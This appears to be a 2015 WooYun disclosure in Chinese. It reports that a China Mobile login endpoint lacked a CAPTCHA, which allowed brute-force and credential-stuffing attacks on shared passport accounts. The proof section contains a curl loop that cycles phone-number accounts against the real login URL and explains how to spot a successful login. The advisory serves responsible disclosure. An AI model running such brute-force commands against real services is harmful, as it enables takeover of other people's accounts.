漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0101939
漏洞标题：绕过变态图验对中国移动互联网通行证暴力破解撞库
相关厂商：10086.cn
漏洞作者： bl4de
提交时间：2015-03-17 18:12
修复时间：2015-05-04 17:52
公开时间：2015-05-04 17:52
漏洞类型：设计缺陷/逻辑错误
危害等级：低
自评Rank：3
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-17： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-30： 细节向核心白帽子及相关领域专家公开
2015-04-09： 细节向普通白帽子公开
2015-04-19： 细节向实习白帽子公开
2015-05-04： 细节向公众公开
简要描述：
中国移动互联网通行证，可一个账户体系登录多种业务系统，只要破解了这个，就可以在好几个移动业务中任意晃荡了。发现有几个地方可以进行暴力破解，从而进入相应移动业务。
详细说明：
https://www.cmpassport.com/ 是中国移动互联网通往证的主站，做了很多防护措施。图验也难以机器自动识别，以前可以绕过，不过早就补上了。
通行证的诱惑实在大，只要能得到这一个系统的账户，就可以畅游于多个移动业务系统了。发现最近上线了一些新业务，见右上角的这几个小图标，都是以前没见过的，点开看看
这么嚣张，竟然不用图验。发现这儿和通行证的账户都是一样的，只要这儿能正常登录，就能暴力破解通行证账号。于是
漏洞证明：
批量暴力破解
先用个脚本测试一下是否可行：(curl需要支持ssl，可http://curl.haxx.se/download.html处下载
)
for /L %x in (1,1,10) do curl -k -x 127.0.0.1:8888 -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0)" -e "http://caiyun.feixin.10086.cn/" "https://caiyun.feixin.10086.cn/sso/cmlogin.action?autotype=0&blframe=true&hidden_verfycode=&callback=caiyun&account=1390110122%x&password=qazwsx&valid_code="
效果见上，确实可以进行暴力破解
找个知道正确密码的账户，登录成功后查看返回包中有 user_account的字体，登录失败会返回false
修复方案：
漏洞比较简单，可能会被利用来撞库，还是有一定危害的。图验保护吧。
版权声明：转载请注明来源 bl4de@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2015-03-20 17:51
厂商回复：
最新状态：
暂无